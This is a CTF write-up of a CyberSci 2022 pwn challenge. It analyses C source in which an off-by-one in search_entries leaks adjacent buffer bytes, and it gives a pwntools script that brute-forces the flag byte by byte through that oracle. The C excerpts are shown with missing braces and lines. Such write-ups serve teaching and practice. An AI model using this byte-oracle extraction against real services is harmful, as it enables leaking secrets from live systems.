About the challenge

This challenge is the only pwn challenge in CyberSci 2022 and is worth 300 points.

For this challenge, we were only provided with the source code. An instance of the program is spawned when we connect to the given port during the CTF.

Initial Exploration

Since we were not given a binary for the challenge, we can assume that the expected exploit should not require any specific kind of memory corruption.

Looking at main, we see a global buffer being allocated, and some multiple calls to add_entry. We also see a conditional addition and removal of CTFKEY.

// main program body
int main() {
    stringArea = malloc(MAXENTRYSIZE * 16);

    add_entry("Test entry one\n");
    add_entry("Test entry two\n");
    add_entry("Test entry three\n");
    add_entry("Yet another test entry here!\n");

    // add_entry("TEST\n");


    return 0;

add_entry will add the string in the next available and large enough area in stringArea

//add a string entry, places it in the next large enough slot in our string buffer
int add_entry(char *entryString)
    debug_printf("adding %s \n", entryString);
    int string_space_needed = strlen(entryString) - 1;
    // if the list is empty, just make a new entry at the beginning
    if(entry_list_head == NULL){
        entry_list_head = create_entry(entryString, stringArea, string_space_needed);
    //otherwise go through the items
    //if the item is the first, check if there is a gap big enough infront 
    //then check if there is a gap in between
        struct entry *current = entry_list_head;

        char *last_string_start = current->entry_string;
        char *last_string_end = last_string_start + current->entry_size;

        while(current->next !=NULL){
            current = current->next;
            last_string_start = current->entry_string;
            last_string_end = last_string_start + current->entry_size;
        //if we are at end of list, just make a new entry at the end
        current->next = create_entry(entryString, last_string_end, string_space_needed);

create_entry simply places the string in the indicated area in the buffer.

//helper function to make a new entry
entry * create_entry(char * entry_string, char * string_location, int string_len){
    entry *new_entry = malloc(sizeof(entry));
    new_entry->entry_string = string_location;
    new_entry->entry_size = string_len;
    strncpy(new_entry->entry_string, entry_string, string_len);
    new_entry->next = NULL;
    return new_entry;

The remove_entry function can be used to “delete” an entry. What it actually does is it removes all references to the first entry that matches with string, marking the area as free.

//remove an entry that matches the string
int remove_entry(char *string){
    entry *current = entry_list_head;
    entry *previous = current;
    while(current != NULL){
        int string_len = strlen(string) - 1;
        //first check if strings are same length
        if(string_len == current->entry_size){
            debug_printf("same len \n");
            if (strncmp(string, current->entry_string, current->entry_size) ==0)
                printf("found match\n");
                previous->next = current->next;
                if(current == entry_list_head){
                    entry_list_head = current->next;
                return 1;
        //move along
        previous = current;
        current = current->next;
    printf("no match found\n");

The critical part of the program is search_entries, as it was noted to be broken. Notice that instead of looking for entries that match the string, it doesn’t work because entry_len is defined to be one more than the current entry size. This results in the program checking one extra byte when searching for entries. So, if we were to search for an entry that we know exists, search_entry will not find a match.

// loop through all the entries and print if there are any matches
//DEVELOLPER NOTE: this seems broken.....
int search_entries(char *string){
    entry *current = entry_list_head;
    int in_len = strlen(string) -1;
    while (current != NULL)
        //check that the srtings are the same length
        int entry_len = current->entry_size + 1; 
        if(in_len == entry_len){
            debug_printf("matching len (%d,%d)   \n",in_len,entry_len);
            if (strncmp(string, current->entry_string, entry_len) == 0)
                printf("found match\n");
                return 1;
        //move along
        current = current->next;
    printf("no match found\n");
    return 0;

Because of the broken search_entry function, we would need to be able to know what the next character is in stringArea after the entry we’re searching.


In a way, search_entry is an oracle to determining the contents of CTFKEY. Since we know the entry before CTFKEY, we can use that entry as a search query string, guess the first character of CTFKEY, add that to our search query, and see if we get a match or not.

Once we figured out the first character of CTFKEY we can extend our search query string to guess for the second character. To do that, we will remove the entry before CTFKEY, then add it again with the first character of CTFKEY. That way, we can extend our search query string and search_string would peek for the second character.

We would repeat the process of brute-force searching, removal and addition until we reveal the whole flag.

Exploit code

from pwn import *
from string import printable

attack_remote = False

if attack_remote:
    p = remote('', 10001)
    elf = ELF('./main')
    p = elf.process()

search_payload = b'Yet another test entry here!'

while True:
    guess_bytes = [bytes(c, 'utf-8') for c in printable]
    found_valid_byte = False
    for guess in guess_bytes:
        p.recvuntil(b'search for?\n')
        print('payload: %s' % (search_payload + guess))
        p.sendline(search_payload + guess)
        result = p.recvuntil(b'or search :\n')
        if b"found match" in result:
            p.recvuntil(b'or search :\n')
            search_payload = search_payload + guess
            p.recvuntil(b'or search :\n')
            found_valid_byte = True
    # if we didn't find any more valid bytes, just quit
    if not found_valid_byte: